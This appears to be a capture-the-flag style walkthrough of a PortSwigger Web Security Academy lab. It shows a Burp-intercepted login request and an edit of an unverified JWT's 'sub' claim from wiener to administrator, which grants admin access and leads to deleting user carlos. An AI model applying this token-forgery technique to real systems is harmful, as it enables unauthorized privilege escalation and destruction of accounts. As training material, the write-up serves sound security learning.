

Intercept the HTTP request in Burp

	Pretty	Raw	Hex	JSON Web Tokens	JSON Web Token
1	POST	/login	HTTP/1.1		
2	Host:	0ac70014030bbf06c05calfc00760032.web-security-academy.net			
3	Cookie:	session=eyJraWQiOiIzZGRiODkxYS1mZDhkLTQ5ZmYtOGVjMCO1MDNjMGM3M2QOM2UiLCJhbGciOiJSUzI1Ni0.k6svjwMCj2o4lrIeReG8TBNzppFkHfyHU4MH7xNLSy7ddMvQDaokTSzfwHCB1_jJZ10VsSc_E8KboebEYMoWKKjbXADkJPoA97fxAwlCejeIrdTgUOxxLP_QdldkPqR29dGt8C1bqy932qdaCIHYyAbg7Qb3K4kJu84z5CJkbBxUaaeH48e8diwsFKAY44YNSebLyg			
4	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101			
5	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image			
6	Accept-Language:	en-GB,en;q=0.5			
7	Accept-Encoding:	gzip, deflate			
8	Content-Type:	application/x-www-form-urlencoded			
9	Content-Length:	68			
10	Origin:	https://0ac70014030bbf06c05calfc00760032.web-security-academy.net			
11	Referer:	https://0ac70014030bbf06c05calfc00760032.web-security-academy.net/login			
12	Upgrade-Insecure-Requests:	1			
13	Sec-Fetch-Dest:	document			
14	Sec-Fetch-Mode:	navigate			
15	Sec-Fetch-Site:	same-origin			
16	Sec-Fetch-User:	?1			
17	Te:	trailers			
18	Connection:	close			
19					
20	csrf=Pm4SZyDLT4r5vsF4NXOUD7UpUMkoeJTN&username=wiener&password=peter				

Alter the "sub" entry from Wiener to Administrator and forward the request

	Pretty	Raw	Hex	JSON Web Tokens	JSON Web Token
	{				
	.. "kid": "3ddb891a-fd8d-49ff-8ec0-503c0c73d43e",				
	.. "alg": "RS256"				
	}				
	{				
	.. "iss": "portswigger",				
	.. "sub": "wiener",				
	.. "exp": 1658958456				
	}				

```
{
  .. "iss": "portswigger",
  .. "sub": "administrator",
  .. "exp": 1658958456
}
```

Now Logged in as Administrator

My Account

Your username is: administrator

Your email is: admin@normal-user.net

Email

Click on Admin Panel

Because the token is not stored on the server side one needs to alter wiener to admin again in burp. Forward the request on.

Users

carlos - [Delete](#)

wiener - [Delete](#)

Delete Carlos

As per the lab instruction delete the carlos user. Capture the request and alter the wiener user as before.

Congratulations, you solved the lab!

User deleted successfully!

Users

wiener - [Delete](#)
